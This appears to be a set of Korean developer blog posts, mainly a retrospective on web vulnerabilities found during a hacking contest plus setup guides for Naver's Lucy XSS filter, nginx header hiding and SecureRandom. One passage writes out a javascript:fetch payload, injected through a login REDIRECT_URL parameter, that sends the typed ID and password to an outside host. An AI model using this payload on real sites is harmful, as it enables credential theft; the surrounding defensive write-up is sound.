반응형

올해 진행한 프로젝트 대상이 웹 해킹대회 사이트로 선정되어 대회에 강제(?) 참여하게 되었다. 😂

 

기존 프로젝트들을 하면서 문제가 되었던 취약점이나 문제되가 되는 개발 방식등을 최대한 보완하면서 개발을 했지만 사내분들에게 마구잡이식 테스트를 요청하니 생각보다 많은 오류가 발생하고 있었다.

 

한국인터넷진흥원 페이지에 접속하면 웹 취약점 메뉴얼이 존재하는데, 해당 메뉴얼을 보면서 위험한 부분을 테스트해보고 실제로 문제가 발생하는부분들은 최대한 막았다.

 

최대한 막는다고 막았지만 역시 복잡한 UI폼과 대회 전날까지의 디자인 수정 & 기능 수정 등으로 인해 몇가지 실수들이 있었고, 그건 바로 대회 참여자들이나... 화이트해커로 활동하는분들의 좋은 먹이감이 되었다.

 

아래는 최대한 막고도 털린 방법들이다.

 

1. 비밀번호 찾기 후 비밀번호 변경시 해당 계정으로 로그인된 세션이 존재하면 만료 처리해주기

-> 세션이 만료가 되어야 하는 이유로는 해커가 계정을 해킹해서 사용중일때, 만료시킴으로써 계정 보호를 할 수 있다.

 

2. 저장 가능한 입력 필드 XSS공격

-> 공격하는 방식들이 생각보다 많았는데, 대회 직전에 Naver사의 Lucy 필터를 급하게 적용하였지만, 사용법을 정확하게 숙지하지 못해 특정 페이지에 적용이 되지않아 해당 페이지에서 각종 다양한 XSS공격으로 접수되었다.

 

3. GET 방식으로 처리하는 리다이렉트 로그인 URL에서 파라미터를 탈취 후 스크립트 공격을 통해 다른 url등으로 넘기기 또는 강제 스크립트를 심어서 로그인 페이지의 id, pw탈취하기 등(개인정보 위험 심각)

-> 간단하게 로그인페이지에 접근 할때, 어떤 페이지를 통해 접근했는지 알기 위해 REDIRECT_URL이라는 파라미터에 어디로 바로 이동할지 page.do 형태로 심어뒀는데, 그 부분을 강제 변형하여 접근한 고객은 개인정보를 탈취 당할 수 있다는 문제였다. 생각보다 심각했는데, 알수없는 사람으로부터 전달받은 URL을 타고 접근시 얼마나 위험한지 알 수 있었고, 페이지에서도 정확하게 유효성 검증을 해줘야한다는걸 알게 해준 취약점이였다.

방식은 아래와 같다.

  • https://127.0.0.1/login.do?REDIRECT_URL=main.do 와 같은 url이 존재할때 REDIRECT_URL이 취약한 현상
  • javascript:fetch("https://hackingTest.net/userId="+document.getElementById(%27userId%27).value+"&userPw="+document.getElementById(%27userPw%27).value)  구문등을 통해 특정 사이트로 id, pw값을 바로 전달함
  • 해당 사이트에서 로그인시 사용자의 id, pw값이 넘어오는것이 확인됨.
  • 조치를 위해 REDIRECT_URL에 XSS공격 의심 데이터는 전부 빈값으로 처리, 사용가능한 특정 페이지 경로들이 아니면 전부 reject처리

4. 공지사항이나 자주하는질문등 한개의 테이블에서 데이터를 노출시키거나 보여주기, 안보여주기 기능이 있는 게시판의 경우

-> 공지사항 상세보기를 위해 PK값을 get방식으로 넘기고 해당 데이터를 노출시키는 형태의 페이지가 존재하는데 PK값을 무작위로 돌리다보면 공지사항과 상관없는 자주하는질문등이 나오거나 보여주면 안되는 데이터까지 노출되는 현상

조치를 위해 type값 등으로 공지사항에선 공지사항만, 자주하는질문에서는 자주하는질문만 상세값을 볼 수 있도록 수정

+ 보여주기 컬럼이 승인된 데이터만 보이도록 수정

 

5. 로그인 오류메시지를 통한 계정 정보 유추

-> 이건 조금 애매했는데, 로그인 실패시 오류 코드가 비밀번호가 틀린경우와 ID가 없는경우가 달랐는데, 오류 메시지만 "아이디 또는 비밀번호가 다릅니다." 로 노출했는데, 코드를 통해 비밀번호 유추 횟수를 줄일수 있다와 같은 취약점이였다. 5회 틀릴 시 계정잠금 + 강력한 조합 비밀번호 사용을 하는 사이트에서 해당 취약점인지 애매했다. 물론 코드는 통일화시켜 더더욱 정보 노출을 줄였다.

 

크게 정리를 해보니 이정도 이슈가 발생했던 것 같다.

 

2, 4번 항목의 경우 좀 더 테스트를 해봤으면 놓치지 않았을 항목인데 매우 아쉬웠고, 이번 대회를 통해 웹 사이트 보안에 좀 더 신경쓰게 되는 계기가 되었습니다.

다양한 케이스를 경험하고 메뉴얼등을 적용해보면서 취약점과 관련하여 많은 공부가 되었다.

반응형
반응형

적용은 차근차근 따라오면 크게 어렵지 않게 적용이 가능합니다. maven을 통해 적용합니다.

 

프로젝트에 lucy적용하기

pom.xml

<!-- https://mvnrepository.com/artifact/com.navercorp.lucy/lucy-xss-servlet -->
<dependency>
    <groupId>com.navercorp.lucy</groupId>
    <artifactId>lucy-xss-servlet</artifactId>
    <version>2.0.1</version>
</dependency>

다음은 필터를 프로젝트에 설정해주어야 합니다.

 

 

 

web.xml

<!-- 멀티파트 필터링을 위한 설정 -->
<filter>
    <filter-name>multipartFilter</filter-name>
    <filter-class>org.springframework.web.multipart.support.MultipartFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>multipartFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

<!-- lucy 설정 -->
<filter>
    <filter-name>xssEscapeServletFilter</filter-name>
    <filter-class>com.navercorp.lucy.security.xss.servletfilter.XssEscapeServletFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>xssEscapeServletFilter</filter-name>
    <!-- <url-pattern>/*</url-pattern> -->
    <url-pattern>*.do</url-pattern>
</filter-mapping>

멀티파트필터 없이 경우에는 루시필터만 적용하게되면 멀티파트의 행위에 대해서는 감시가 이루어지지 않기 때문에 해당 필터를 적용해주셔야 합니다!

 

 

 

lucy-xss-servlet-filter-rule.xml

- resources/ 하위에 해당 파일을 생성하고 위치시킵니다.

<?xml version="1.0" encoding="UTF-8"?>
 
<config xmlns="http://www.navercorp.com/lucy-xss-servlet">
    <defenders>
        <!-- XssPreventer 등록 -->
        <defender>
            <name>xssPreventerDefender</name>
            <class>com.navercorp.lucy.security.xss.servletfilter.defender.XssPreventerDefender</class>
        </defender>

        <!-- XssSaxFilter 등록 -->
        <defender>
            <name>xssSaxFilterDefender</name>
            <class>com.navercorp.lucy.security.xss.servletfilter.defender.XssSaxFilterDefender</class>
            <init-param>
                <param-value>lucy-xss-sax.xml</param-value>   <!-- lucy-xss-filter의 sax용 설정파일 -->
                <param-value>false</param-value>        <!-- 필터링된 코멘트를 남길지 여부, 성능 효율상 false 추천 -->
            </init-param>
        </defender>

        <!-- XssFilter 등록 -->
        <defender>
            <name>xssFilterDefender</name>
            <class>com.navercorp.lucy.security.xss.servletfilter.defender.XssFilterDefender</class>
            <init-param>
                <param-value>lucy-xss.xml</param-value>    <!-- lucy-xss-filter의 dom용 설정파일 -->
                <param-value>false</param-value>         <!-- 필터링된 코멘트를 남길지 여부, 성능 효율상 false 추천 -->
            </init-param>
        </defender>
    </defenders>

    <!-- default defender 선언, 필터링 시 지정한 defender가 없으면 여기 정의된 default defender를 사용해 필터링 한다. -->
    <default>
        <defender>xssPreventerDefender</defender>
    </default>

    <!-- global 필터링 룰 선언 -->
    <global>
        <!-- 모든 url에서 들어오는 globalParameter 파라메터는 필터링 되지 않으며
                또한 globalPrefixParameter1로 시작하는 파라메터도 필터링 되지 않는다.
                globalPrefixParameter2는 필터링 되며 globalPrefixParameter3은 필터링 되지 않지만
                더 정확한 표현이 가능하므로 globalPrefixParameter2, globalPrefixParameter3과 같은 불분명한 표현은 사용하지 않는 것이 좋다. -->
        <params>
            <param name="globalParameter" useDefender="false" />
            <param name="globalPrefixParameter1" usePrefix="true" useDefender="false" />
            <param name="globalPrefixParameter2" usePrefix="true" />
            <param name="globalPrefixParameter3" usePrefix="false" useDefender="false" />
        </params>
    </global>

    <!-- url 별 필터링 룰 선언 -->
    <url-rule-set>

        <!-- url disable이 true이면 지정한 url 내의 모든 파라메터는 필터링 되지 않는다. -->
        <url-rule>
            <url disable="true">/disableUrl1.do</url>
        </url-rule>

        <!-- url disable이 false인 설정은 기본이기 때문에 불필요하다. 아래와 같은 불필요한 설정은 하지 않는다.-->
        <url-rule>
            <url disable="false">/disableUrl2.do</url>
        </url-rule>

        <!-- url disable이 true이면 지정한 url 내의 모든 파라메터가 필터링 되지 않기 때문에 <params> 로 선언한 설정은 적용되지 않는다. 
               아래와 같은 불필요한 설정은 하지 않는다. -->
        <url-rule>
            <url disable="true">/disableUrl3.do</url>
            <params>
                <param name="query" useDefender="false" />
                <param name="prefix1" usePrefix="true" />
                <param name="prefix2" usePrefix="false" useDefender="false" />
                <param name="prefix3" usePrefix="true" useDefender="true" />
                <param name="prefix4" usePrefix="true" useDefender="false" />
                <param name="prefix5" usePrefix="false" useDefender="true" />
            </params>
        </url-rule>

        <!-- url disable이 false인 설정은 기본이기 때문에 불필요하다. <params> 선언한 설정은 적용이 된다.-->
        <url-rule>
            <url disable="false">/disableUrl4.do</url>
            <params>
                <!-- disableUrl4.do 의 query 파라메터와 prefix4로 시작하는 파라메터들은 필터링 되지 않는다. 
                        usePrefix가 false, useDefender가 true인 설정은 기본이기 때문에 불필요하다. -->
                <param name="query" useDefender="false" />   
                <param name="prefix1" usePrefix="true" />
                <param name="prefix2" usePrefix="false" useDefender="false" />
                <param name="prefix3" usePrefix="true" useDefender="true" />
                <param name="prefix4" usePrefix="true" useDefender="false" />
                <param name="prefix5" usePrefix="false" useDefender="true" />
            </params>
        </url-rule>

        <!-- url1 내의 url1Parameter는 필터링 되지 않으며 또한 url1PrefixParameter로 시작하는 파라메터도 필터링 되지 않는다. -->
        <url-rule>
            <url>/url1.do</url>
            <params>
                <param name="url1Parameter" useDefender="false" />
                <param name="url1PrefixParameter" usePrefix="true" useDefender="false" />
            </params>
        </url-rule>

        <!-- url2 내의 url2Parameter1만 필터링 되지 않으며 url2Parameter2는 xssSaxFilterDefender를 사용해 필터링 한다.  -->
        <url-rule>
            <url>/url2.do</url>
            <params>
                <param name="url2Parameter1" useDefender="false" />
                <param name="url2Parameter2">
                    <defender>xssSaxFilterDefender</defender>
                </param>
            </params>
        </url-rule>
    </url-rule-set>
</config>

네이버 제공 샘플을 참고하여 자기 프로젝트에 맞게 설정을 변경해주세요.

(작성하다보니 XssFilter, XssSaxFilter 부분에 lucy-xss-sax.xml, lucy-xss.xml를 적용하는 부분이 있는데 별도로 생성하지 않아도 문제없이 잘 동작했습니다.)

 

중요한 부분은 필터링을 제외처리할 부분과 특정 파라미터만 제외할 부분인데, 에디터등을 사용한 프로젝트라면 당연히 html코드로 넘어오기 때문에 제외처리를 잘 해주셔야합니다.

lucy필터의 특징은 넘어오는 파라미터를 필터링(치환)을 처리해주는거지 필터에서 컨트롤러접근을 막아주는 필터는 아닌점만 인지하고 적용하시면 될 것 같습니다.

필터링된 모습

 

 

 

* 멀티파트(Multipart)에서도 필터링이 되어야하는분들은 추가 작업이 있습니다

이후 구동하는 톰캣의 config디렉토리의 context.xml을 열어줍니다.

기존 소스가 아래와 같은 형태로 되어 있을텐데,

<Context>
    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
    <CookieProcessor className="org.apache.tomcat.util.http.LegacyCookieProcessor" />
    <!-- Uncomment this to disable session persistence across Tomcat restarts -->
    <!--
    <Manager pathname="" />
    -->
</Context>

 

Context 태그부분에 allowCasualMultipartParsing="true" path="/"를 추가해줍니다.

<Context allowCasualMultipartParsing="true" path="/">
    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
    <CookieProcessor className="org.apache.tomcat.util.http.LegacyCookieProcessor" />
    <!-- Uncomment this to disable session persistence across Tomcat restarts -->
    <!--
    <Manager pathname="" />
    -->
</Context>

* 이클립스에서는 Package Explorer에 Server라는게 보이는데 구동하고 계신 톰캣의 conf들이 모여있습니다. 여기서 변경하시면 됩니다.

 

 

이것으로 lucy filter 적용 및 설정은 끝났습니다. xss공격으로부터 한층 부담을 덜고 개발을 진행하실 수 있습니다.

반응형
반응형

웹 개발을 진행하다보면 수많은 취약점공격을 대비하면서 개발을 진행해야 합니다.

개인정보를 탈취하거나 해킹, 계정 도용, 잘못된 수정이나 악의적인 페이지로 강제 이동하는 현상 등등 많은 이슈들을 사용자가 겪을 수 있거나 고객사쪽 데이터에도 큰 문제를 일으킬 수 있기 때문입니다.😱

 

이를 방어하기 위해 회사 동료분들과 공통으로 사용할 필터나 인터셉터등을 작성하여 공격을 방어해보았지만, 새로운 기술이나 방법을 통해 다양한 방식의 공격에서 취약해지는 현상을 발견했고, 이를 보완하고자 추가 개발을 해야할지 다른 라이브러리르 적용해볼지 찾아보다가 시간상의 어려움으로 네이버의 lucy필터라는걸 알게되어 이번에 적용을 하게 되었습니다. 네이버는 기존에 lucy-xss-filter라는 라이브러리를 제공하였는데, 해당 라이브러리도 취약한 부분이 발생하여 해결책으로 만든 라이브러리가 lucy-xss-servlet-filter입니다.

 

특징으로는 모든 xss공격으로 의심되는 패턴을 제거하는게 아니라 필터링(치환)이되어 컨트롤러에 도착했을때는, 다른값으로 이미 변경이되어 있습니다.

 

네이버측에서도 이러한 문제가 발생하여 기존에 잘 동작하던 소스가 문제가 생길수 있으므로, 새로운 프로젝트에 적용하는걸 추천하고 있습니다.

 

또한 직접 적용해보니 json형태의 문제와 multipart는 필터링이 안되어 전송되는 현상등이 발생하여 이러한 부분들을 해결한 포스팅은 추후 작성되면 하단에 링크를 걸어두도록 하겠습니다.

 

▼▼▼아래 글은 spring에서 lucy-xss-servlet-filter적용하는 방법을 포스팅했습니다.

https://myhappyman.tistory.com/253

 

XSS - Spring lucy servlet filter 적용하기

적용은 차근차근 따라오면 크게 어렵지 않게 적용이 가능합니다. maven을 통해 적용합니다. 프로젝트에 lucy적용하기 pom.xml com.navercorp.lucy lucy-xss-servlet 2.0.1 다음은 필터를 프로젝트에 설정해주어

myhappyman.tistory.com

 

▼▼▼아래 링크는 네이버 lucy 깃허브 url입니다.

https://github.com/naver/lucy-xss-servlet-filter

 

GitHub - naver/lucy-xss-servlet-filter

Contribute to naver/lucy-xss-servlet-filter development by creating an account on GitHub.

github.com

 

반응형
반응형

프록시서버로 사용하는 NGINX에서 에러가 발생하면 아래와 같은 이미지 형태로 노출이 됩니다.

 

에러 페이지 커스텀 설정하기

에러 코드 + nginx 버전 정보 노출은 취약점으로 버전 정보를 지우라고 되어있어서 아래와 같이 nginx.conf파일을 수정하였다.

 

server 속성에 error_page 코드별 접근시 처리 할 url을 설정하고

그 아래에 매칭할 root 디렉토리를 설정해준다.

error_page  400 401 402 403 404 405 406 411 414 497 500 501 502 503 504 505 /error.html;
location = /error.html {
	root 에러페이지가 존재하는 디렉토리 주소(절대주소);
}

 

이후 404에러를 접근해보면 아래와 같이 커스텀된 html이 노출된다.

 

설정 예시)

http {

    ...


    # HTTPS server
    server {
		listen 443 ssl;
        
		...
        
        
		error_page  400 401 402 403 404 405 406 411 414 497 500 501 502 503 504 505 /error.html;
		location = /error.html {
			root D:/nginx21/html/;
		}
    }
}

 

반응형
반응형

이클립스에서 개발도중 swiper.min.js를 적용하기 위해 cdn형태에서 js파일을 직접 연결처리하여 작성하였는데, 해당 파일을 resources부분에 추가하자마자 문법에러가 무수하게 발생하였습니다. 😥

(개인적으로 소스 검색기에 x표시와 Problems에 이런 경고창이 뜨는걸 매우 싫어합니다. 실제로 개발하다 실수로 입력된 오타나 잘못된 문법을 툴을 통해 도움을 받기 위해 사용하는데 무시된 채 개발이 진행될 수 있기 때문입니다.)

 

swiper 문법은 최신문법들이 사용되고 있었고, **와 같은 문법을 인식하지 못하여 발생한것으로 보였습니다.

x ** 2  -> Math.pow(x, 2);

 

이클립스 특정 파일 문법 검사 제외시키기

해당 파일은 이미 작성이 완료된 라이브러리이므로 제가 수정할일이 없으므로 문법검사에서 제외하고 싶었습니다.

1. 프로젝트 우클릭 후 - Properties를 접근합니다.

 

2. JavaScript - Include Path - Source탭 - 프로젝트/src/main/webapp쪽의 Excluded를 선택 후 Edit

위 그림과 같은 창에서 Source탭 webapp의 Excluded를 설정합니다.

 

3. Add를 누르고 패턴 또는 파일명을 입력합니다.

라이브러리류를 제외하기 위해 min.js를 제외처리하는 패턴을 입력했습니다.

입력 : **/*.min.js

 

4. OK - Apply and Close 클릭 후 프로젝트 클린을 해보면 더이상 오류문구가 뜨지 않는걸 볼 수 있습니다.

정상적으로 적용이되면 Excluded에 변경된 옵션이 보입니다.

 

반응형
반응형

이번에 nginx를 사용하여 프록시 서버처럼 사용할 일이 생겼는데, 취약점으로 서버 정보가 노출되면서 불필요한 정보 노출로 인한 취약점으로 지적이 발생되어 미리 지우기 위해 검색을 해봤는데, 대부분 아래의 옵션을 사용하여 상세정보만 지우는 방식이 공유되고 있었다.

server_tokens off;

Server에 nginx임이 표기된다.

nginx의 상세버전은 더이상 보이진 않지만 여전히 was자체가 무엇인지 노출하고 싶지 않았다.

 


 

검색 도중 StackOverflow에서 좋은 글을 찾았다.😁

https://stackoverflow.com/questions/246227/how-do-you-change-the-server-header-returned-by-nginx

 

How do you change the server header returned by nginx?

There's an option to hide the version so it will display only nginx, but is there a way to hide that too so it will not show anything or change the header?

stackoverflow.com

 

정확한 동작 이유는 모르지만 nginx.conf파일에서 http와 https부분에 아래의 옵션을 추가후 재기동하여 더이상 서버 정보가 노출되지 않는걸 확인 할 수 있었다.

proxy_pass_header Server;

 

-설정 후👍

Response Headers에 Server정보가 사라졌다!

 

반응형

'Server' 카테고리의 다른 글

NGINX - 윈도우 nginx 에러페이지 커스텀 설정하기  (0) 2021.10.29
반응형

올바르지 않은 난수 취약점

자바에서 랜덤 난수를 발생시킬때 보통 Math.random()을 많이 사용하여 작성하였는데, 해당 메소드의 사용은 예상가능한 난수를 사용하는것으로 시스템 보안에 약점을 유발한다고 합니다...😥

 

해당 메소드는 시드값을 설정 할 수 없고 사용하는 알고리즘이 밝혀지면 취약해질 수 있기때문이라고 합니다.

 

결론은 해당 메소드 대신 차용할 메소드가 필요한데, 제시된 방법으로 java.util.Random

또는 java.security.SecureRandom 클래스 사용을 추천합니다.

 

이런 문제로 기존에 작성된 부분을 SecureRandom으로 변경하였습니다.

 

https://docs.oracle.com/javase/8/docs/api/java/security/SecureRandom.html

 

SecureRandom (Java Platform SE 8 )

This class provides a cryptographically strong random number generator (RNG). A cryptographically strong random number minimally complies with the statistical random number generator tests specified in FIPS 140-2, Security Requirements for Cryptographic Mo

docs.oracle.com

 

사용법👀

Math.random()과 SecureRandom 클래스의 각각 사용법 비교를 해보겠습니다.

 

간단한 int 데이터 변수 생성 방법

- Math.random()

int div = (int) Math.floor( Math.random() * 2 )

 

- SecureRandom

SecureRandom sr = new SecureRandom();
int div = sr.nextInt(2);

정수형 난수 데이터를 구할때 올림, 내림처리도 필요없고 타입이 지정된 난수를 호출하기에 캐스팅도 없습니다.

앞으로 랜덤값을 생성해주는 SecureRandom클래스 자주 사용해야겠습니다.

반응형
반응형

이클립스에서 Search창을 통해 검색을 하고 해당 소스를 보기위해 Search탭에서 더블클릭해서 소스를 열어보곤 하는데,

해당 자료가 아니거나 또 찾아야할때 새롭게 찾은 데이터를 열게되면 기존 열어놨던 창에 열리는걸 볼 수 있습니다.

 

매번 새창에 열리는게 비교하기에도 편하고 효율적이라 옵션을 끄는편입니다.😋

 

설정하기 🛠

1. Window -> Preferences

 

2. General - Search

Reuse editors to show matches

Reuse editors to show matches 체크 해제한다!

반응형